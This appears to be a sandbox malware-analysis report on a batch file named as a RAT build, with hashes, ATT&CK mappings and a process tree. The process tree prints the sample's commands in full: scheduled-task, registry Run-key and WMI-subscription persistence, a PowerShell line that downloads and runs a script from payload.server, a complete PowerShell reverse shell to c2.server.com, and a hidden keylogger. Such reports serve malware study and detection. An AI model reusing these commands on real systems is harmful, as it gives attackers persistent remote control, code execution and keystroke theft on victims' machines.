230c98bf4be0627134e53028812931d06d9d494c4cda9ba30734888f58d5d61e

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
rat_build_160547_014436.bat
Size 4KB
Sample260529-b3pfcahs7r
SHA256 230c98bf4be0627134e53028812931d06d9d494c4cda9ba30734888f58d5d61e
MD5 3936f84325f3744a38a9c5bfd3ae3b31
SHA1 906492518ff5623b92c54d0feb7b2ea53d848adb
SHA512 53a9bca111fbcce690b215937cff45b046a1c081217e3ac7992d9f43bdd19c78083c334072a8f8e98864ad7fc5e81240ee822e9c27a4f973d8293983e82d7ae3
SSDEEP 96:fIygWvc6fY+5utYUOjFEWViOd/V58mckxV94uHgJ9niFgZk8mvlo1dhY:fVvcMYuutF3W1d9emckJ/HGiFgkHluY
TLSH
T1C3A1E8276BA7752086B02618CE373C18636CE9F31345DA8DFE48CDC4095CA47912A6E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_160547.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1692	powershell.exe
1568	powershell.exe
1564	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_160547 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_160547.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3316	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4032	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4280	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1944	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1568	powershell.exe
1568	powershell.exe
1692	powershell.exe
1692	powershell.exe
1564	powershell.exe
1564	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4340	WMIC.exe
Token: SeSecurityPrivilege	4340	WMIC.exe
Token: SeTakeOwnershipPrivilege	4340	WMIC.exe
Token: SeLoadDriverPrivilege	4340	WMIC.exe
Token: SeSystemProfilePrivilege	4340	WMIC.exe
Token: SeSystemtimePrivilege	4340	WMIC.exe
Token: SeProfSingleProcessPrivilege	4340	WMIC.exe
Token: SeIncBasePriorityPrivilege	4340	WMIC.exe
Token: SeCreatePagefilePrivilege	4340	WMIC.exe
Token: SeBackupPrivilege	4340	WMIC.exe
Token: SeRestorePrivilege	4340	WMIC.exe
Token: SeShutdownPrivilege	4340	WMIC.exe
Token: SeDebugPrivilege	4340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4340	WMIC.exe
Token: SeRemoteShutdownPrivilege	4340	WMIC.exe
Token: SeUndockPrivilege	4340	WMIC.exe
Token: SeManageVolumePrivilege	4340	WMIC.exe
Token: 33	4340	WMIC.exe
Token: 34	4340	WMIC.exe
Token: 35	4340	WMIC.exe
Token: 36	4340	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4340	WMIC.exe
Token: SeSecurityPrivilege	4340	WMIC.exe
Token: SeTakeOwnershipPrivilege	4340	WMIC.exe
Token: SeLoadDriverPrivilege	4340	WMIC.exe
Token: SeSystemProfilePrivilege	4340	WMIC.exe
Token: SeSystemtimePrivilege	4340	WMIC.exe
Token: SeProfSingleProcessPrivilege	4340	WMIC.exe
Token: SeIncBasePriorityPrivilege	4340	WMIC.exe
Token: SeCreatePagefilePrivilege	4340	WMIC.exe
Token: SeBackupPrivilege	4340	WMIC.exe
Token: SeRestorePrivilege	4340	WMIC.exe
Token: SeShutdownPrivilege	4340	WMIC.exe
Token: SeDebugPrivilege	4340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4340	WMIC.exe
Token: SeRemoteShutdownPrivilege	4340	WMIC.exe
Token: SeUndockPrivilege	4340	WMIC.exe
Token: SeManageVolumePrivilege	4340	WMIC.exe
Token: 33	4340	WMIC.exe
Token: 34	4340	WMIC.exe
Token: 35	4340	WMIC.exe
Token: 36	4340	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3392	WMIC.exe
Token: SeSecurityPrivilege	3392	WMIC.exe
Token: SeTakeOwnershipPrivilege	3392	WMIC.exe
Token: SeLoadDriverPrivilege	3392	WMIC.exe
Token: SeSystemProfilePrivilege	3392	WMIC.exe
Token: SeSystemtimePrivilege	3392	WMIC.exe
Token: SeProfSingleProcessPrivilege	3392	WMIC.exe
Token: SeIncBasePriorityPrivilege	3392	WMIC.exe
Token: SeCreatePagefilePrivilege	3392	WMIC.exe
Token: SeBackupPrivilege	3392	WMIC.exe
Token: SeRestorePrivilege	3392	WMIC.exe
Token: SeShutdownPrivilege	3392	WMIC.exe
Token: SeDebugPrivilege	3392	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3392	WMIC.exe
Token: SeRemoteShutdownPrivilege	3392	WMIC.exe
Token: SeUndockPrivilege	3392	WMIC.exe
Token: SeManageVolumePrivilege	3392	WMIC.exe
Token: 33	3392	WMIC.exe
Token: 34	3392	WMIC.exe
Token: 35	3392	WMIC.exe
Token: 36	3392	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3392	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 1944	2136	cmd.exe	88
PID 2136 wrote to memory of 4280	2136	cmd.exe	89
PID 2136 wrote to memory of 4340	2136	cmd.exe	90
PID 2136 wrote to memory of 3392	2136	cmd.exe	91
PID 2136 wrote to memory of 4156	2136	cmd.exe	92
PID 2136 wrote to memory of 4032	2136	cmd.exe	94
PID 2136 wrote to memory of 3316	2136	cmd.exe	100
PID 2136 wrote to memory of 1568	2136	cmd.exe	101
PID 2136 wrote to memory of 1692	2136	cmd.exe	102
PID 2136 wrote to memory of 1564	2136	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_160547_014436.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_160547" /tr "C:\Users\Admin\AppData\Local\Temp\_160547.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1944
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_160547" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_160547.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4280
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_160547", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_160547", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_160547.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_160547.txt
  2⤵
  PID:4156
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4032
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_160547.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 58f5b7114a858bb89d7f6f0180179b79bc25526f6f9ad30fa267a2f2275fe068
MD5 a5cf139295a36a6d2d1f679fb6d9befc
SHA1 0cf8e53304a9cbb5353e46aa45bd1d445afd6c3b
SHA512 eeb27806a7f64ea7785a665e7b5409e6639d0085bb83cf1e80b4e5acae794d645403deba008a81f5ca29c303a7c4c71e722421692018592bca358cd9fa1c566e
TLSH
T190117627F39CC921CC96153A409DAC1176B683DB81AEDF9FAFC5D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 546758248a9b3e69f8271136e7d7f1f8d26cb67526a6beeb48c376846a1ac6dd
MD5 1c37f3235522f7ff6d26c1e6f9929f2c
SHA1 986474bde38a8df076658e4f50b196d208258f25
SHA512 29ad2612a3f946e9ee7435a7137a13ff72a11c794a37e5df3c9054996f42888a64d1c263a3e3ec3a4efe64784ac213d2aa4dc7b3dd1001b2721e213b5932001d
TLSH
T110115727B39C89A1CC96153A409D9C1172B683D7809EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_tifsxtxk.5kz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tifsxtxk.5kz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1568-3-0x0000016779380000-0x00000167793A2000-memory.dmp

Download

memory/1568-13-0x000001677A980000-0x000001677AAEA000-memory.dmp

Download